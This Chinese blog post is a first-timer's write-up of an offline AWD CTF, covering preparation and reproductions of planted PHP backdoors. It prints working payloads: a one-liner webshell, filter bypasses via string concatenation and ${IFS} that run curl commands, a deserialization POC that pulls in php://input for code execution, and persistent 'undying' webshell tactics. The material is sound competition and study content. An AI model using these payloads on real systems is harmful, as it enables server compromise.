前言:

之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。

第一次参赛线下AWD感受

由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程:

一、进行备份

看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,可以让对手在一开始就丢分,但是经过这次比赛,发现其实现在的比赛已经不会再出现这种人为的漏洞了,主办方也会避免这种漏洞出现,否则整场比赛也没什么意意义了,因此我觉得批量修改SSH密码的脚本在线下赛是没有用处的,不过最好也备份一份,万一主办方懒那(那就有点爽了)。。。

那一开始比赛的时候要做什么,比赛一般都是三个人一队,要想在短时间内获得flag且防护好自己的靶机,就需要队伍内部提前明确好分工,这样效率会很高。

除此之外还需要finalshell这个工具,这个工具是用来连接你的靶机的,非常方便,只需输入靶机IP、SSH账号密码即可控制自己的靶机、为备份、挂waf等做准备

比赛开始,第一步进行备份,最好使用可视化工具FileZilla FTP Client进行备份,也可以用linux本身的压缩打包命令,备份的目的在于万一对方利用漏洞进入你的靶机将你的WWW下的目录给删除了,如果你没有备份就相当于宕机了,那就等着扣分吧,因此备份是非常重要的,使用主办方给的SSH账号密码、主机IP进行连接备份

二、查找预留后门或漏洞

备份的另一个好处就是可以审计源码,因为大家的WWW目录下的服务都是一样的,因此如果我们能率先在源码中找出漏洞的话便可以收一波分,这里就用到D盾,可以用这个工具查出是否有预留后门或其他利用点

这样也有一个进行攻击的方向,除此之外还有一个便是Seay源代码审计工具
这个也可以提供一个你攻击的方向

三、备好或写脚本

脚本、脚本、脚本!!!非常重要,参加一次比赛发现真的脚本能力实在是太重要了,发现漏洞很重要,但是如果不会写出相应的批量脚本,你可以想象一下那么多只队伍,三个人手动提交,flag到后面每五分钟刷新一次,效率又低又累的要死,因此无论如何都要提高脚本能力(虽然我的脚本很烂,但一定会慢慢提高的),AWD比赛到后面就是比的脚本能力,前提是你要先找出漏洞。如果你和我一样目前脚本能力都很弱,也不用慌张,大师傅们的Github上有很多人家写好的,只需我们看懂,会改就可以用,这里我就不列举资源了,谷歌百度一搜索一堆。总之一句话,学好python,学会自己写脚本,真的很重要!!!

还有就是备份一下常见的POC,因为大多数AWD比赛都是各种CMS,这些CMS或多或少都存在漏洞,有时POC可以帮大忙,GitHub上都有,这里就不列出了

四、心态

参加一次比赛,基本流程就是上面的了,但我觉得有一点很重要,不要抱着我们必须拿多少名次的心态,就放平心态,不要慌张,如果被人打了,要去审查日志,看大师傅是怎么打你的,如果看出人家利用的攻击方式,那你就可以利用这个点拿分,如果心态崩了,整场游戏将毫无乐趣,切记调整好心态,前几次参赛就不要太在乎名次,有更好,没有继续努力,不过需要总结之前是失败到哪里了,不能在一个坑中连续跌倒多次,这样才能进步。

二、复现

这次的比赛算是比较照顾新手了,没有出现CMS官方的一些漏洞,因此POC也就没用到,而是主办方给选手留了很多预留后门,比赛时只成功利用了一个(我们比较菜)但还是刷了不少分,比赛结束了就将所有的预留漏洞都来复现一下,不能因比赛结束后就什么也不做。

首先先连接上自己的靶机

利用工具连接到靶机,并找到WWW目录进行备份相应的服务

备份成功后进行D盾扫描

发现有三个可疑点,先来看第一个

第一个预留后门:预留后门


一句话木马,直接上蚁剑

连接成功便可以使用curl命令获取你想要的flag了,但是这么简单的后门大家都知道,所以这就需要拼手速了,脚本的重要性便体现出来了

这是大师傅之前写的,我们只是在修改了具体的一些参赛,但也因此获得了很多flag,所以脚本是真的很重要!!!,其实自己观察脚本的话,发现也不是很难,重要的便是在于思路,还是要多加练习。

第二个预留后门:冰蝎一句话

我们是真的菜,当时比赛的时候竟然就没发现这个冰蝎一句话,复现的时候发现这个冰蝎马还是下载冰蝎时自带的马。。。


唉,当时如果看出来就第一了,继续加油吧,还是懂的太少!

第三个预留后门:常见绕过


这串代码过滤很多高危函数字符如常用的system

如果绕开遍历便可以输入恶意语句,那就需要考虑如果进行绕过了,可以利用拼接的方式进行绕过:

payload:

?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');

确实是可以利用的,越复现感觉自己越菜。。。

第四个预留后门:命令执行+变量覆盖

这个最可惜,当时我们被打的时候,发现有人是通过一个ping_test.php文件来请求的,我们就查看了一下这个文件,果然是命令执行,但是过滤了一些东西

通过观察发现引入一个define.php文件,查看文件发现


很明显的看出了过滤了空格,不行了不能复现了,我想打自己

绕过空格的方法有%09${IFS}

payload:

des=| curl${IFS}xxx

第五个预留后门:信息收集+反序列化+文件包含

在审计源码的时候,发现在admin.php中发现有一句提示

既然如此就去查看MySQL的history,看一下改变了什么

cat /root/.mysql_history


这个目录保存着对MYSQL的操作记录,这里由于我是在自己本地搭建所以没有信息,不过在比赛的时候应该是会提示到\html\public\ueditor\php\controller.php,再观察phpinfo,发现allow_url_include为On,所以可以使用php://input协议可直接getshell

查看文件发现

很明显了直接进行反序列化

官方给的POC

class Control{public $file = '<?=phpinfo();?>';private $flag; public function __destruct(){if(isset($this->file) && !preg_match('/<\?/is', $this->file)){ require($this->file); }}
}
$a = new Control();
$a->file = 'php://input';
echo serialize($a);

在线运行一下

请求:

?action=shell&data=O:7:"Control":2: {s:4:"file";s:11:"php://input";s:13:"%00Control%00flag";N;}

POST传入

<?php system('curl xxx'); ?>


但这里我没有复现成功

小插曲:上传不死马

在一开始蚁剑连接上了就想着放入一个不死马

发现一直是失败,明明比赛给的权限是root,所以就没有管,待后面公布WP才知道是在upload文件夹下有权限上传。。。。

哎呀 不行写完这篇总结打一句联盟发泄一下,我怎么这么菜啊

下面就说一下如何用不死马,以防自己忘记

这便是常见的不死马,密码自己设置并且进行md5加密,我这里设置的是lemon

如果上传不死马成功后,就先来触发

触发成功,进行查看

木马出现,进行连接

利用成功!!!

如果自己靶机被别人种了不死马,如果有权限可以使用service apache2 restart,直接删除即可

如果没有权限重启就kill掉www-data用户的所有子进程

ps aux | grep www-data | awk '{print $2}' | xargs kill -9


确实删除成功

三、创建一个和不死马生成的马一样名字的目录

太菜了,没复现成功,具体看其他大师傅的吧!!

四、编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

<?php
while (1) {$pid = 不死马的进程PID;@unlink(".ski12.php");exec("kill -9 $pid");usleep(1000);
}
?>

总结:

我比较喜欢第二种杀进程的,因为比较简单,估计之后会遇到其他的,之后再说吧,不过我是真的菜的一批,一定要好好练脚本能力,这些对大师傅没有什么技术含量,不要喷我。。。

记第一次线下AWD感受及复现相关推荐

  1. 疫情过后第一次线下考试感想

    在疫情过后的第一次线下考试,在之前疫情在家的时候上的是网课,有时候会在上课的时候走神,然后导致现在有很都的知识点都不太会,在这次的考试中本来可以发挥的更好的,因为当时再写vs的时候电脑关机了,导致数据 ...

  2. CTF线下AWD攻防步骤总结

    Hello,我是普通Gopher,00后男孩,极致的共享主义者,想要成为一个终身学习者.专注于做最通俗易懂的计算机基础知识类公众号.每天推送Golang技术干货,内容起于K8S而不止于K8S,涉及Do ...

  3. ctf线下AWD攻防赛学习笔记

    Hello,我是普通Gopher,00后男孩,极致的共享主义者,想要成为一个终身学习者.专注于做最通俗易懂的计算机基础知识类公众号.每天推送Golang技术干货,内容起于K8S而不止于K8S,涉及Do ...

  4. SQL Pass北京将举办第一次线下活动,欢迎大家报名

    为热烈庆祝PASS BEIJING Chapter成立,Chapter计划在2012年12月11日在北京微软(中国)[望京利星行]举办第一次线下活动.欢迎大家踊跃报名参加,以后我们将每月举办一次SQL ...

  5. 记SWPU2021 GFCTF线下AWD赛

    文章目录 准备(复习基础和熟悉流程,记录思路) 流程介绍 攻击流程 信息收集 端口攻击 Web 攻击 维持权限 防守流程 加固思路 登录服务器SSH 下载源码并备份(FileZilla-Sftp-询问 ...

  6. CTF线下AWD攻防模式的准备工作及起手式

    作为大一萌新我并没有打过AWD,可能我做梦都没有想到人生的第一场AWD是DEFCON CHINA吧~(滑稽 我自己在服务器上搭了一个cms来模拟AWD场景. 0X01 改ssh密码 官方在给出服务器密 ...

  7. SQL PASS北京用户群成功举办第一次线下活动,性能调优PPT分享

    昨天晚上在北京利星行举办了第一场PASS北京用户群的线下活动.     这次活动主要是由微软的大牛,也是MCM的何雷老师进行讲解SQL Server的性能调优.何老师内力深厚,由点带面的将性能调优的方 ...

  8. 基于CSDN上海城市开发者社区第一次线下沙龙的筹备经验分享

    引言 由于时间较为紧张.邹老师行程安排紧凑等因素影响,结合实际情况,改茶话会为聚餐,所以在举办线下沙龙的时候一定要根据实际情况来斟酌活动形式.本次活动是和哈士奇,哈哥一起筹备,也得到了哈哥的大力支持, ...

  9. WP篇 创新实践能力赛(华东南分区赛)线下AWD复现

    这里就复现一个简单的点 一,题目概况 二,复现效果 三,源码对比 一,题目概况 这里复现的是easycms的setup/index.php的漏洞点,可以通过赛题预制漏洞获取flag. 二,复现效果 首 ...

最新文章

  1. 管理95后员工,管理者必知的4条底层逻辑
  2. 最简单的前后端分离部署(Koa2)
  3. [UVALive 3971] Assemble
  4. React Native ScrollableTabView的自定义tabBar
  5. Cactus在jexus上安装
  6. 【渝粤教育】电大中专新媒体营销实务 (10)作业 题库
  7. 以太坊上Dex交易量环比下降15%
  8. 计算机二进制拨码,8位二进制拨码对照表图片
  9. 正向代理和反向代理的区别
  10. IDEA多module的项目共享配置文件的处理
  11. 如何快速提高自己的领导力?
  12. Chrome 浏览器安装插件
  13. java怎么实现手机投影,在Java中投射对象
  14. 液压电磁换向阀DG4V-5-24AJ-M-U-H6-20
  15. 网络管理之基础知识详解
  16. 重新认识康德的“头上星空”
  17. 计算机房防凝露保温材料,机房地板保温有哪些要注意的
  18. 牛客网社区项目——p3.4事务管理
  19. 狗年出生的宝宝取名的五大方法介绍,快来为你的宝宝起名吧
  20. 优惠券系统-第一章-系统设计

热门文章

  1. Spring cloud(Finchley)微服务框架,sleuth整合zipkin链路追踪失效的问题
  2. 四十三、在Vue使用router,路由的管理
  3. 在理解通用近似定理之前,你可能都不会理解神经网络
  4. CVPR 2021 | Facebook提出FP-NAS:搜索速度更快、分类精度更高、性能更好
  5. AAAI 2021 | 幻灯片中文字的重要性预测赛亚军DeepBlueAI团队技术分享
  6. 直播 | 清华大学博士生姚远:对抗语言游戏
  7. 文末送书丨深度迁移学习方法的基本思路
  8. C++一学就废?试试这个项目包
  9. ACL 2020 | 多编码器是否能够捕获篇章级信息?
  10. 搞科研、学术的朋友注意了,停下手头的活,再忙也要看一下这个!